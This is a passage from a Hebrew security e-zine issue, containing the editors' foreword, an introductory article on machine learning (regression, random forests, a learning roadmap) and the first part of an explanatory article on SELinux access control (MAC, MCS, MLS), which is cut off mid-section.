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 דבר העורכים 

 

 ., גליון פברואר115-ברוכים הבאים לדברי הפתיחה של הגיליון ה

  נשמח לשמוע אתכם -החודש, אין לנו משהו חכם להגיד, ולכן, במקום להגיד משהו 

באילו פלטפורמות אתם מתעדכנים? מה המקורות  :נשמח לשמוע מה הם מקורות המידע שלכם בתחום

? אתם עוקבים אחרי אושיות כאלה RSS Feedמהם אתם דואגים להשאר מעודכנים? אתם מתחזקים 

ואחרות בטוויטר? מנויים לבלוגים של חברות מרכזיות? אתם מעדיפים מקורות עם מאמרים ארוכים 

 ?פוש בגוגל אודותםאחר מכן למסע חייוצאים לווטכניים או כותרות קצרות 

  באותם מקורות הקוראיםשאר אם תשתפו אותנו ואת נעריך זאת מאוד 

 

ממש רגע לפני שניגש למאמרים הכל כך מעולים שיש לנו בשבילכם החודש, נרצה להגיד כמובן, איך לא, ו

 עדי מליאנקרלתודה רבה ניצן שולמן, לתודה רבה לכל מי שתרם מזמנו וכתב לנו מאמר. תודה רבה 

(Magen Gide0n) , לתודה רבה ותומר זית לתודה רבה( דן בוגניםSnipSkill)! 

 

 קריאה נעימה,      

  אפיק קסטיאל וניר אדר
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 Machine Learning-צעדים ראשונים בעולם ה

 שולמןניצן  מאת

 

 הקדמה

 כמו בסיפור הילדים המוכר גם המחשבים רוצים כבר להתעורר לחיים,

ללמוד ולפתור בעיות לבד. בימינו, בינה מלאכותית הוא אחד התחומים 

 המדוברים ביותר בעולם המחשבים והוא גדל בקצב מהיר.

מסיבות לא ברורות הרבה אנשים נרתעים מהתחום וחושבים שהוא 

מאוד רחוק מהמציאות ומסובך. אך, זה כלל לא המצב! הדבר היחיד 

ים שמלמדים את התחום הזה שבאמת מרתיע זה כמות המקורות השונ

 וכמה שהוא מעניין. 

ושלל מקורות ללמוד  במאמר זה אסביר על התחום בכללי, אתן דוגמאות לאלגוריתמים קלאסים בתחום

מהם. בנוסף, אפרט על הדרך שבה אני נכנסתי לתחום עם תיקונים לטעויות שאני עשיתי. המאמר יהיה 

 העשרה.יחסית קצר עם הרבה פניות למקומות אחרים ל

Artificial Intelligence & Machine learning 

AI  

בינה מלאכותית היא היכולת לגרום למחשב לעשות פעולות קוגנטביות של בנאדם כמו ללמוד ולפתור 

 NLP (Natural Language Processing) -בעיות. בינה מלאכותית משתלבת בחיינו באינספור נושאים 

 היכולת של מחשב להבין שפה של אדם, זיהוי תמונה, רפואה ועוד.

 H0etieBDxeY=v?watch/com.youtube.www://https :דוגמאות עם קצת יותר תמונות

  

 פינוקיו -"גם אני רוצה להיות ילד אמיתי!" 

https://www.youtube.com/watch?v=H0etieBDxeY
https://en.wikipedia.org/wiki/Pinocchio_(1940_film)#/media/File:Pinochio2_1940.jpg
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ML 

כדי לקבל  (,Training Data) תחום בתוך בינה מלאכותית בו בונים מודלים מתמטיים על בסיס מידע

החלטות/לפתור בעיות מבלי לתכנת בדיוק איך צריך לפתור אותם. משתמשים במודלים כאלה במקומות 

 שאי אפשר לפתח אלגוריתם חד משמעי כדי לפתור את המשימה. 

. בסוג למידה Supervised Learning-קיימים סוגי למידה שונים, במאמר אתמקד ב MLבתוך התחום של 

זה, כל המידע שהמודל לומד ממנו כבר מסווג לתוויות. לאחר הלמידה המודל יוכל לסווג לתוויות מידע 

שעוד לא פגש. לדוגמה המודל יקבל הרבה תמונות שעבור כל אחת מהן מסומן האם זה כלב או חתול, 

ים כאלה לאחר הלמידה הוא ידע לקבל תמונה חדשה ולסווג אותה לתוויות כלב/חתול. דוגמאות למודל

 .random forests ,neural networksהם:

Regression vs classification 

 :הם ML-שני סוגי מודלים שנפוצים ב

Classification -  המידע מחולק למספר סופי וידוע של

תוויות, בדיוק כמו בדוגמה של החתולים והכלבים. בתמונה 

 2( בין classificationניתן לראות דוגמה פשוטה להפרדה )

 קבוצות בעזרת פונקציה.

 

Regression -  מודלים שממפים מספר רציףX  למספר רציףY מאוד דומה לפונקציה מתמטית ,f(x) = y .

 נראה דוגמה למודל של רגרסיה בהמשך.

 cfj6yaYE86U=v?watch/com.youtube.www://httpsסרטון קצר ומעולה: 

 למה זה תחום כל כך חם עכשיו?

שאנחנו לא יכולים לדעת איך לתכנת את המחשב בדיוק לפתור.  הם ממימד גבוהרבים כיום אתגרים  .1

היה עיבוד תמונה, נסו לדמיין איך אתם כותבים קטע קוד  ML-למשל אחד האתגרים הראשונים ב

שמזהה פנים של בנאדם. אפשר להתחיל לאפיין שבתמונה חייב להיות עיניים, אף, פה וכו. אבל, 

ברגע שמכניסים כל מיני פרמטרים כמו תאורה, זווית צילום, שוני במראה בין בני אדם והבעות פנים. 

וד שבדיוק עושה את זה נהיה מסובך. )למרות שיש דברים לשים את האצבע ולכתוב את הקטע ק

 ( uEJ71VlUmMQ=v?watch/com.youtube.www://httpsשעושים את זה 

 של מידע וכוח עיבוד המאפשרים בכלל את התחום הזה.מספקת כמות  הייתהרק בשנים האחרונות נ .2

ה של כמויות גדולות של מידע שלמידת המודול מתבצעת עליו פשוט לא הייתה אפשרית או שמיר

 ממש יקרה עד לפני מספר שנים.

 למרות שזה עדין לא בשיא, השילוב של התחום הזה במוצרי תוכנה הוא די טריויאלי. .3

Classification 

https://www.youtube.com/watch?v=cfj6yaYE86U
https://www.youtube.com/watch?v=uEJ71VlUmMQ
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ה של נתחיל בדוגמה פשוטה ואחרי זה נעבור לעוד אחת פשוטה אבל קצת פחות. ממליץ על קריא

 להעמקה בהיסטוריה ובמונחים של התחום: DigitalWhisper-המאמרים שכבר פורסמו ב

https://www.digitalwhisper.co.il/files/Zines/0x3B/DW59-1-ML-Security.pdf 

https://www.digitalwhisper.co.il/files/Zines/0x68/DW104-1-PhishingAI.pdf 

Linear regression 

רגרסיה לינארית היא שיטה מתמטית למציאת הקשר בין משתנה תלוי, לאחד או יותר משתנים בלתי 

תלויים. בתמונה ניתן לראות את המקרה הקלאסי בו 

על ידי  (X,Yמוצאים את הקשר בין שני משתנים)

. הנקודות הכחולות הן y = ax + bמשוואה מסוג 

בעצם הדגימות מידע המסווגות שהמודל לומד מהן. 

הקו או יותר נכון משוואת הקו הוא המודל עצמו. ניתן 

( ולקבל את Xלהכניס למודל מידע חדש)ערך 

(. לרגרסיה לינארית Yהתוצאה הצפויה לו )ערך 

שימושים בהרבה תחומים, אחד המוכרים הוא 

אורך זמן. לדוגמה קו מציאת קו מגמה של תהליך ל

 המגמה של מחיר הנפט לאורך השנים.

 איך עושים את זה?

ועכשיו אתם בטח שואלים עומרי, מה זה  Loss functionגם למודל הזה יש  ML-כמו כל מודל ב

Loss function כמובן שהדבר הראשון שאגיד זה שלא קוראים לי עומרי אבל זו פונקציה ?

נקציה הזאת מראה כמה הפתרונות של המודל גרועים, כמה משמעותית בתהליך הלמידה. הפו

שונים הפתרונות של המודל מהפתרון האמיתי המצופה. המטרה של המודל היא לקבל ציון כמה 

 שיותר נמוך מהפונקציה הזאת. להלן הנוסחה של הפונקציה שנשתמש עבור רגרסיה לינארית:

1

𝑁
∑ (𝑓(𝑋𝑖) − 𝑌𝑖)²

𝑖=1…𝑁

 

, שהיא הממוצע של הריבועים של הטעויות. זאת אומרת Mean Squared Error(MSE)-מדובר ב

שנסכום את ההפרש בריבוע בין הפתרון של המודל לפתרון המצופה עבור כל נקודה ונחלק 

, נחשב בעיית קיצון כאשר y = ax + bהאידאליים במשוואה  a,b-במספר הנקודות. כדי להגיע ל

 [Linear Regression]מקור: 

 

https://www.digitalwhisper.co.il/files/Zines/0x3B/DW59-1-ML-Security.pdf
https://www.digitalwhisper.co.il/files/Zines/0x68/DW104-1-PhishingAI.pdf
https://en.wikipedia.org/wiki/Linear_regression
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MSE ינימום. היא הפונקציה שאנחנו רוצים שתהיה במMSE  היא פונקציה המשומשת גם במודלים

 פשוטים כמו רגרסיה לינארית אך גם במודלים יותר מתקדמים כמו רשתות נוירונים. 

 ?MLזה סוג של  Linear Regressionלמה 

-. כמו כל שיטות הML-כן, לא מדובר פה באיזשהו משהו מסובך וחדשני אבל עדין מדובר ב

supervised learning  גם פה למודל יש מידע מסווג שהוא לומד ממנו. וכמובן שלאחר הלמידה

 הוא יודע לקחת מידע לא מסומן ולתת לו ערך על בסיס מה שלמד.

 

Random forest 

 .Random forestועדין משתמשים בהם עד היום הוא 1995 -אחד האלגורמים הנפוצים שפותחו ב

 ?עץ זה מה

פשוט שניתן ליישם גם ברגרסיה  ML, הוא מודל (Decision tree)עץ

וגם בקלסיפיקציה. בתמונה ניתן לראות עץ קטן שמראה את האחוז 

שאדם מסוים שרד את הפלגת הטיטאניק ביחס לגילו ולכמה קרובי 

משפחה היו איתו בהפלגה. ניתן לראות שלנשים היה סיכוי מאוד 

 רק בהתבסס על מין. 73גבוהה להשרדות, 

 

 

 ?בעתיד וחוזה מהמידע לומד הוא איך

תת קבוצות כל פעם בהסתמך על שדה אחד של המידע. התהליך הזה  2-עץ נבנה על ידי פיצול המידע ל

מבוצע באופן רקורסיבי עד שכל תת קבוצה היא מאותו סוג או עד שפיצול נוסף לא יביא לתוצאות טובות 

 יותר.

, התאמה חזקה מדי למידע שאיתן אתאמן המודל ויכולת פחות overfittingאחד הבעיות שיש לעצים היא 

, אלגוריתם recursive partitioningה טובה עבור מידע חדש. לתהליך הזה קוראים טובה לתת תשוב

  greedy algorithmהפיצול הזה הוא מקרה קלאסי של 

 algorithm_Greedy/wiki/org.wikipedia.en://httpsלהעמקה: 

  

 [Decision Tree Learning]מקור: 

https://en.wikipedia.org/wiki/Greedy_algorithm
https://en.wikipedia.org/wiki/Decision_tree_learning
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 יערות

ביער ואף אחד לא שומע, האם הוא השמיע צליל? תופתעו לגלות שהשאלה הזאת מתקשרת  אם עץ נופל

 .ML-במובן מסוים למעבר לשימוש ביערות ולא בעצים ב

אחת השיטות הנפוצות לקחת את היכולת חיזוי של עץ )ושל מודל בכללי( ולשפר אותה היא, חיבור של 

והם מאוד נפוצות   ensemble learningם יחד נקראותכמה מודלים יחדיו. שיטות של חיבור של כמה מודלי

 , במיוחד בתחום של עצים. ML-ב

כל מיני שיטות לקחת מספר מודלים על מנת ליצור מודל כללי טוב יותר. אנחנו נתמקד באחד בשם  ישנם

bagging  שנותן משקל שווה לכל המודלים שהוא מאמן. הוא מאמן כל אחד מהמודלים בעזרת חלק

 רנדומלי, בדרך כלל שווה בוגודלו של המידע. 

. overfitting-בקצרה, יער הוא שילוב של כמה עצים על מנת לקבל תוצאה טובה יותר שפחות פגיעה ל

צטרך לאמן כמה. כמובן שאם נאמן כמה עצים עם , במקום לאמן עץ אחד נclassificationנגיד עבור בעיית 

השם של היער שאנחנו  אותו מידע נקבל עצים זהים, מכאן נובע שעלינו לפצל את המידע בצורה כלשהי.

, אנחנו נבחר את המידע באופן רנדומלי. המודל מקבל כפרמטר כמה Random Forestנבנה הוא לא סתם 

מכלל המידע ומאמן את העץ על המידע  N/1דומלית כל פעם (, לפי כך הוא בוחר רנNעצים הוא רוצה )

הזה. לאחר שכל העצים מוכנים, נחזה בעזרת כל אחד מהם מה הוא הפתרון. נצטרך לבחור גם באיזה 

, אפשר פשוט לקחת את הפתרון classificationדרך מחשבים פתרון מהתשובות של כל העצים. בבעיית 

 ונות(.הנפוץ ביותר )ברגרסייה יש שיטות ש
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 דוגמאת קוד קצרה:

 יצירת המודל:

model = RandomForestRegressor(random_state=1) 

 :אימון המודל

 :הפרמטר הראשון הוא רשימה של המידע והשני הוא הקטגוריה המתאימה לשורה במידע

model.fit(train_X, train_y) 

 :המודל מוכן, אפשר לחזות פתרונות

predictions = model.predict(test_data) 

 :במדריך זה תלמדו איך לחזות האם אנשים ישרדו את הטיטאניק! וכל זה בעזרת כמות מעטה של קוד

https://www.kaggle.com/jeffd23/scikit-learn-ml-from-start-to-finish 

 

  אז איך להיכנס לתחום הזה?

 
. יש כבר Deep Learning-למרות האלגורתמים שהצגתי במאמר הזה, השלבים שאציג מכוונים יותר ל

 ובאינטרנט אז לא אסביר עוד כאן. digital whisper-מאמרים מעולים עליו ב

Agile 

נכון שלמידה היא מאוד שונה מעבודה בצוות בחברת הייטק אבל, אני ממליץ לאמץ דברים ממטולגיית 

 . הדברים שאני ממליץ:agileהעבודה 

  שבכל מקטע מסיימים ללמוד משהו מסוים. בהייטק  שבועיםבערך של במקטעים עבודה  -ספרינטיים

דה זה יכול להיות כמה משימות סביב צר חדש לאפליקצייה, בלמי’בדרך כלל בכל מקטע מסיימים פי

 אותו נושא.

  בכל ספרינט מראש יש להגדיר מספר מטרות שהן קטנות ומדידות. הכוונה בקטנות  -מטרות קטנות

יומיים למטרה, הכוונה במדידות שתוכלו להגיד בסוף אם עשיתן אותן או לא. דוגמה -זה שיקחו יום

זה אומר להבין? אי אפשר באמת לשים את האצבע למטרה לא מדידה: להבין רשתות נוירונים, מה 

 מדיד.מאוד זה  coursera-ב MLלסיים שבוע ראשון בקורס , לעומת זאתעל מתי הבנת משהו. 

  .נקודה אחרונה וחשובה היא שאחרי כל ספרינט יש לעבור על הדברים שנעשו ולתת עליהם פידבק

ושווה לי להמשיך לשבוע השני שלו למה עמדתי/לא עמדתי במטרות, האם הקורס הזה באמת מלמד 

 .’וכו

 להרחבה:

 https://en.wikipedia.org/wiki/Agile_software_development 

  

https://www.kaggle.com/jeffd23/scikit-learn-ml-from-start-to-finish
https://en.wikipedia.org/wiki/Agile_software_development
https://en.wikipedia.org/wiki/Agile_software_development
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Roadmap 

למקטעים של שבועיים כאשר בחלק הבא אציג את דרך שבה אני פחות או יותר נכנסתי לתחום. יש חלוקה 

ההנחה היא עבודה בעיקר בסופשי שבוע. כל הלמידה מבוססת עשייה ומשימות,יש הרבה קורסים, 

 מקורות קריאה וערוצי יוטיוב חינמים.

מצריכים הבנה של  deep learning-, במיוחד בML-חזרה על אלגברה לינארית ואינפי. הרבה דברים ב .1

 מתמטיקה.

a. :תאוריה בלינארית 

https://www.youtube.com/watch?v=fNk_zzaMoSs&list=PLZHQObOWTQDPD3MizzM2xVFitgF8hE_ab 

b. :אינפי 

https://www.youtube.com/watch?v=WUvTyaaNkzM&list=PLZHQObOWTQDMsr9K-rj53DwVRMYO3t5Yr 

c. :תרגילים בלינארית 

https://www.coursera.org/learn/linear-algebra-machine-learning/home/welcome 

 .ML-קונספטים יותר מתקדמים בתמטיקה והבנת הקשר ל .2

a.  סרטונים ראשונים בקורס הזה: 33פונקציות מרובות משתנים, ממליץ באזור ה 

https://www.youtube.com/watch?v=TrcCbdWwCBc&list=PLSQl0a2vh4HC5feHa6Rc5c0wbRTx56nF7 

b. :הבנה בסיסית של איך רשת נוירונים עובדת 

https://www.youtube.com/watch?v=aircAruvnKk&list=PLZHQObOWTQDNU6R1_67000Dx_ZCJB-3pi 

 ML-התנסות מעשית ב .3

a. קורס מעולה ופרקטי מאוד לכניסה לתחום ב-/ai.fast.www://https בשם Deep Practical

Learning for Coders 

b.  אני לדוגמה אספתי תמונות של כמה חברים ויצרתי מודל שיודע לזהות בינהם,  -פרויקט אישי

 תמונות של כל אחד וטיפה נחישות. 33תופתעו כמה שזה קל! צריך רק באזור ה 

 התחלת סטטיסטיקה, לימדת מודלים פשוטים והתחלת תחרויות .4

a.  מעולה בסטטיסטיקה שממליץ למרוח לגבי כמה ספרינטים:קורס 

https://www.youtube.com/playlist?list=PL8dPuuaLjXtNM_Y-bUAhblSAdWRnmBUcr 

b. למידה ושימוש ב-linear regression 

c. ב למידה ושימוש-logistic regression 

d.  :תחרות קלאסית שיש לה הרבה מדריכיםtitanic/c/com.kaggle.www://https 

e.  :תחרות קלאסיתrecognizer-digit/c/com.kaggle.www://https 

f.  פרקים ראשונים של הספר  2קריאתThe hundrend page Machine Learning book מדובר .

 .ML-קצר ומרוכז בתחומים הבסיסים עד המתקדמים ב ,בספר חינמי שאפשר להוריד

 הבנה עמוקה יותר של מה קורה מאחורי הקלעיים ותרגול .5

a.  :החלק השני של/ai.fast.www://https  בשםfoundations the from Learning Deep: 2 Part 

https://www.youtube.com/watch?v=fNk_zzaMoSs&list=PLZHQObOWTQDPD3MizzM2xVFitgF8hE_ab
https://www.youtube.com/watch?v=WUvTyaaNkzM&list=PLZHQObOWTQDMsr9K-rj53DwVRMYO3t5Yr
https://www.coursera.org/learn/linear-algebra-machine-learning/home/welcome
https://www.youtube.com/watch?v=TrcCbdWwCBc&list=PLSQl0a2vh4HC5feHa6Rc5c0wbRTx56nF7
https://www.youtube.com/watch?v=aircAruvnKk&list=PLZHQObOWTQDNU6R1_67000Dx_ZCJB-3pi
https://www.fast.ai/
https://www.youtube.com/playlist?list=PL8dPuuaLjXtNM_Y-bUAhblSAdWRnmBUcr
https://www.kaggle.com/c/titanic
https://www.kaggle.com/c/digit-recognizer
https://www.fast.ai/
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b.  :תחרות מעולהtechniques-regression-advanced-prices-house/c/com.kaggle.www://https 

c.  של הספר. 3,4קריאת פרק 

 Deepe Learningשהוא לא  ML-בהרחבה  .6

a. 5  הרצאות ראשונות של הקורסIntroduction to Machine Learning for Coders  :ב 

https://www.fast.ai/ 

b.  לקרוא ולהשתמש בסוג המודלKNN 

c.  קורסים קצרים שמכניסים יותר לראש של תחרויות שלKaggle: 

i. https://www.kaggle.com/learn/intro-to-machine-learning 

ii. https://www.kaggle.com/learn/intermediate-machine-learning 

 מקורות נוספים

 overview/learn/com.kaggle.www://https-עוד קורסים ב

 Stanford Machine Learning coursera -  נחשב מאוד מאוד מומלץ ועובר על נושאים החשובים

 בתחום.

 אני לדוגמה מאוד לעשות אתכם שמעניינים דברים למצוא כדי בתחום מאמרים של וקריאה חיפוש .

 )מידע בפורמט של טבלה(: tabular-ב deep learningהתעניינתי בשימושים של 

https://www.fast.ai/2018/04/29/categorical-embeddings/ 

 טיפים כללים

 יותר ואפילו בקורסים לעשות שממליציםהתרגילים  כלאת  לעשות. 

 יותר מלאה הבנה לקבל כדי שונים מקומות בכמה לקרוא ישמורכבים  נושאיםשל  בלמידה. 

  

https://www.kaggle.com/c/house-prices-advanced-regression-techniques
https://www.fast.ai/
https://www.kaggle.com/learn/intro-to-machine-learning
https://www.kaggle.com/learn/intermediate-machine-learning
https://www.kaggle.com/learn/overview
https://www.fast.ai/2018/04/29/categorical-embeddings/
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 סיכום

 יעקב רוטבליט. -" אל תגידו יום יבוא, הביאו את היום!"

בקיצור, הכי חשוב להישאר נחושים ולמצוא מה החלק שמעניין אותך בתחום העצום הזה ולצלול לתוכו. 

ML  זה תחום די חדש וגם לאנשים חדשים יש מקום לבוא ולשנות אותו ולהמציא דברים חדשים. אל

-ותי בתפחדו לשאול למה עושים דברים ולחפש דרך טובה יותר או לפחות פשוטה יותר. מוזמנים לחפש א

Kaggle (Nitzan Shulman).כתבתי ופירסמתי כמה מחברות ובתקווה אפרסם עוד בעתיד , 

 nitzanshulman@gmail.comלעוד שאלות ועזרה מוזמנים לפנות אלי במייל: 

 

 ביבלוגרפיה 

 ספרים:

The Hundred-page Machine Learning Book by Andriy Burkov 

 קישורים נוספים:

 https://he.wikipedia.org/wiki/%D7%91%D7%99%D7%A0%D7%94_%D7%9E%D7%9C%D7%90

%D7%9B%D7%95%D7%AA%D7%99%D7%AA 

 https://en.wikipedia.org/wiki/Random_forest#History 

 https://www.quora.com/Why-is-machine-learning-so-popular 

 https://en.wikipedia.org/wiki/Mean_squared_error 

 https://www.fast.ai/topics/ 

 

 

 

 
  

https://he.wikipedia.org/wiki/%D7%91%D7%99%D7%A0%D7%94_%D7%9E%D7%9C%D7%90%D7%9B%D7%95%D7%AA%D7%99%D7%AA
https://he.wikipedia.org/wiki/%D7%91%D7%99%D7%A0%D7%94_%D7%9E%D7%9C%D7%90%D7%9B%D7%95%D7%AA%D7%99%D7%AA
https://en.wikipedia.org/wiki/Random_forest#History
https://www.quora.com/Why-is-machine-learning-so-popular
https://en.wikipedia.org/wiki/Mean_squared_error
https://www.fast.ai/topics/
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SELinux: Linux - The Secure Way - 'חלק א 

 (Magen Gide0n) עדי מליאנקר מאת

 

 הקדמה

בחברה  linuxהרעיון לכתיבת מאמר זה הגיע מבדיקת תשתיות אשר יצא לי לבצע בסביבה המשלבת 

לאחרוה, במהלכה יצא לי להיתקל במושג לראשונה. בתום הבדיקה החלטתי לחקור לעומק על  פרטית

 הטכנולוגיה והשימוש בה על מנת להביאה לידיעת הכלל. 

, המספקת מערכת הרשאות אשר חלה על Linuxהינה שכבת הגנה למערכת ההפעלה  SELinuxבכלליות, 

על העצמים במערכת )ולא רק על מערכת הקבצים(. המערכת מתייגת בתגיות את האובייקטים השונים 

או שהפעולה  -במערכת ומגדירה עבורם פעולות שונות אותם הם רשאיים לבצע. במידה ויש חגירה 

 אפשר רק ירשם על כל בקובץ הלוגים.תחסם, או שהפעולה תת

ואחרותSELinux (MCS ,MLS  )-במהלך חלק א' של המאמר, נצלול אל התכונות השונות הקיימות ב

ובהמשך ניכנס במעט למבנה המערכת ואופן פעולתה. בחלק הבא של המאמר נתמקד באופן הפרקטי של 

 הנושא.

 

 מעט מושגים להתחלה

חשוב לעמוד על סוגי המנגנונים השונים הקיימים במערכת ההפעלה על , SELinuxלפני שנתחיל לדבר על 

 , כלומר כבקרת גישה למשאב.Access list-מנת להגן על אובייקטים בסביבה ומשמשים כ

 DAC (ontrolC ccessA iscretionaryD )חסימת  עומדת בבסיסה אשר משאב עבור גישה בקרת הינה

 לו יש כאשרהמשתמש או זהותו. במצב זה, יכול המשתמש,  תהגישה למשאב על בסיס קבוצ

 .דעתו שיקול, לתת גישה גם למשתמשים אחרים על פי הבעלים הוא או כאשר לכך הרשאות

 RBAC (Role Based Access Control) תפקיד בסיס על ניתנת למשאב הגישה בו אחר מודל הינה 

ניתן לשמוע במאמר אחר  עליהן ואחרות ,ABAC ,RAC. קיימים סוגים נוספים בלבד המשתמש

 .MACבהרחבה, אך הסוג שמעניין אותנו הוא 

 MAC (Mandatory Access Control)  הינה גישה נוספת לבקרת גישה בה משתמשות לרוב ממשלות

, המערכת היא שבוחרת את DAC-על מנת לאבטח את משאביהם. בגישה זו, בניגוד ל וגופים גדולים

משתמש צריך לקיים תנאים מסוימים כדי שיוכל לגשת למשאב. בגישה זו אין הגישה עבור המשאב ו
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היא מערכת המממשת  SELinux בעלות על משאבים והגישה כולה תלויה בתוויות הניתנות למשאבים.

 מודל זה.

 

 רקע

SELinux  על ידי ה 2333פותחה בדצמבר-NSA  וחברתRed hat  בשפתC  על מנת לאבטח בצורה טובה

יותר את הפעולות המבוצעות במערכת ההפעלה. משמה אפשר להבין שהמערכת משמשת בסביבת 

אך ניתנת להתקנה גם  Fedora-ו Red Hatלינוקס. המערכת מגיעה דיפולטיבית במערכות כדוגמת 

 בהפצות לינוקס אחרות. 

על פי הגדרה זו, קיים  כבקרת גישה. DACמממשת מנגנון  (Windowsכל מערכת לינוקס )ואגב, גם 

ומחזיק בגישה מלאה לכלל הקבצים  rootמשתמש במערכת משתמש חזק, אשר נקרא לצורך העניין 

  במערכת.

יכול התוקף להשתמש בהרשאות המשתמש המריץ את השרת  במידה ושרת אשר רץ על המערכת נפרץ,

הרשאות זהות לאלו של המשתמש המריץ. אליהם יש לו גישה, כלומר לתוקף  על מנת לגשת לקבצים

 יש לתוקף גישה מלאה לכלל משאבי המערכת.  root-כאשר המשתמש המריץ הינו ה

SELinux  כאמור מממשת מנגנוןMAC  ומתוקף זאת, היא מגדירה לכל יישום רשימת פעולות מותרות

, הוא יוכל root-לביצוע. כך, אם נחזור לבעיה שתוארה קודם, גם אם משתמש יוכל לפרוץ לשרת הרץ כ

 לבצע רק את הפעולות המוגדרות עבורו ללא קשר להרשאות האמיתיות שהוא השיג.

הפועלת בלינוקס ולכן בתחילה יבדק האם יש  DAC-חשוב לציין שהמערכת פועלת במקביל למערכת ה

למשתמש הרשאה לגשת למשאב, ואם כן, יבדק האם הגישה הינה בין הפעולות המותרות למשתמש 

 מנקודת המוצא בה הוא נמצא.
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 SELinux-חוקי ה

SELinux  היאType Enforced - והמשאבים במערכת ההפעלה בתווית המשמשת  מסמנת את היישומים

 הנקראים גם פוליסות.  -כאבן הבניין החוקים

( המשמש כאבן reference policyהפוליסות נמצאות מקומית, אך בדרך כלל הן נגזרות ממאגר אינטרנטי )

יס התווית של המשאב נקבעת על בס בברירת המחדל. SELinux-בניין לבניית פוליסות אחרות או כחלק מה

 סוג המשאב: האם מדובר בתהליך, קובץ וכו' ומה סוגו. 

ניקח כדוגמא מטאפורה שתמחיש את העניין: כלב וחתול הינם סוגי תהליכים, מזון לכלבים ומזון לחתולים 

הינם סוגי אובייקטים. ככותב הפוליסה, אתן לחתול לאכול רק מזון של חתולים ולכלבים רק מזון של 

 כלבים.

 

 [Your visual how-to guide for SELinux policy enforcementלקוחות מתוך  התמונות]

 

 נקרא לחוקים כך:

 Allow cat cat_food 

 Allow dog dog_food 

 כאשר הכלב ינסה לגשת לאכול את המזון של החתול, הוא לא יוכל היות ולא אפשרנו לו זאת וכנ"ל להיפך.

 

 [Your visual how-to guide for SELinux policy enforcementלקוחות מתוך  התמונות]
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 טיתפרק וכעת נצרף דוגמא

. שירות apacheשל אתר הרץ על תהליך  mysqlנניח שברשותנו מספר כרטיס אשראי השמור במאגר 

SELinux .כאשר תהליך ה רץ על המערכת והגדיר פוליסות על כלל המשאבים בה-apache  נפרץ, יוכל

השונים ולקרוא את הקבצים שלו. עם זאת, הוא לא יוכל לקרוא את פרטי כרטיס  apache-התוקף תהליכי ה

ולכן הפנייה  mysqlכל קשר לתהליכי  apache-, אין לתהליכי הSELinux-האשראי שלי היות ועל פי שירות ה

 . root-רץ כ apache-לשם תיחסם, גם כאשר תהליך ה

( ועל מנת להכשירם לפעולה, SELinux policy language) CILכתובים בעזרת  SELinuxשל  policies-חוקי ה

יכולה להיות מרוכזת בתוך קובץ אחד או להיות מחולקת לכמה  policy-ה  יש לקמפל אותם לפני כן.

 קבצים: קובץ מודולרי, קובץ המכיל את הבסיס ואליו נטענות ספריות נוספות.

(, http_sys_content_t)לדוגמא  t_שאבים בסיומת סוגי מ SELinuxכהערת אגב נציין שנהוג לסמן בחוקי 

 . u_ומשתמש בסיומת 
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MCS 

 Fido -לפני שניכנס לפירוש המושג, נביא דילמה מעולם החיות שתיארנו קודם לכן. נניח שיש כמה כלבים

. לכל אחד יש את צלחת האוכל שעונדת את שמו ולא נרצה שכלב אחד יאכל את האוכל של חברו. Spot-ו

הצעד האינטואיבי לעשות הוא להתייחס לכל כלב כסוג חיה אחרת אל מהר מאוד נגלה שהפיתרון בעייתי 

 היות ולשני הכלבים אותן תכונות. 

 ר להבדיל ביניהם ובינם לבין חיות אחרות. ולאוכל שלהם תווית נוספת שתאפש במקום זאת, נוסיף לכלבים

  
 [Your visual how-to guide for SELinux policy enforcementלקוחות מתוך  התמונות]

 

 multiבמצב זה, יבדקו שתי התוויות ורק כאשר שתיהן מתאימות, ההרשאות ינתנו. זאת המהות של 

cathegory security הזיהוי של תהליכים השייכים באותו הסוג., הוספת תווית נוספת לצורך 

 

 [Your visual how-to guide for SELinux policy enforcementהתמונות לקוחות מתוך ]

בעולם האמיתי, השימוש לכך הוא כאשר קיימים תהליכים עם גישה זהה למשאבים ונרצה להפריד 

וירטואליות רבות יניהן נרצה להפריד במקרה ביניהם, כמו לדוגמא כאשר ברשותנו שרת המריץ מכונות 

 שאחת המכונות נפרצת.

, Fedoraהתכונה מאפשרת לקטלג את הקבצים והתהליכים במערכת ההפעלה, כך לדוגמא במערכת 

הוא יוכל להיכנס  ,C1 ,C3קטגוריות שונות וכך, אם לדוגמא הקטגוריות של תהליך מסוים הן  1324נתמכות 

, שניהם או אף קטגוריה כלל. הוא לא יוכל להיכנס לקבצים המכילים C3,C1 ת שללקבצים המכילים קטגוריו

 .C6וגם  C3בלבד או  C4קטגוריה של 
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MLS 

MLS או ,multi level security מושג הדומה לקודמו, הוא מודל בו תהליך יכול לקרוא ולרשום במשאבים ,

בסיווג סודי יכול לקרוא קבצים בסיווג שמור ולכתוב אחרים בעלי סיווג דומה או סיווג נמוך יותר. כך, תהליך 

 מידע לתהליכים בעלי סיווג סודי אך לא לקרוא מידע מקובץ סודי ביותר.

MLS דומה מאוד ל-MCS תווית  -אך היא מוסיפה מימד של דומיננטיות לעסקMLS  אחת עשויה להיות

 דומיננטית יותר מאחרת ועל כן תאפשר גישה למשאב. 

צ'יוואוה והאסקי סיבירי. האסקי יכול לאכול כל סוג של אוכל,  -הדוגמא, נסתכל על שני סוגי כלביםלצורך 

אבל צ'יוואוה תיחנק כאשר תאכל אוכל של האסקי סיבירי. נשים לב שבדוגמא הנ"ל, האסקי סיבירי 

ול לאכול מהמזון דומיננטי יותר מצ'יוואוה ולכן הוא רשאי לאכול מהקערות של שניהם. כמובן שהוא אינו יכ

 של החתול היות ואינו חתול...

 

 [Your visual how-to guide for SELinux policy enforcementהתמונות לקוחות מתוך ]

 apacheשרתי  2ובעולם הוירטואלי, בו אין חיות אלא רק אחדות ואפסים, הדוגמא היא כאשר ברשותנו 

)כלומר שניהם מריצים תהליך מאותו הסוג(, אחד מריץ שירות סודי והשני שירות סודי ביותר, כאשר 

השירות הסודי נפרץ, יוכל התוקף לקרוא את המידע של התהליך הסודי בלבד. כאשר נפרץ השירות הסודי 

 ביותר, יוכל התוקף לקרוא הן את קבצי האתר הסודיים והן את הקבצים הסודיים ביותר. 

MLS .משמש בעיקר בתשתית צבאי, כמו שקל לנחש 
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 SELinuxארכיטקטורת 

 נתחיל בתרשים מפוצץ ובהמשך ניכנס לפרטים שלו:

 [the SELinux notebook 4th edition מתוך]

 

 .SELinuxאת המבנה של  High level-התרשים מפרט ב

Security server יושב ב-kernel  ומחשבsecurity context  על בסיסpolicy חוק. ההחלטה לא נאכפת ,

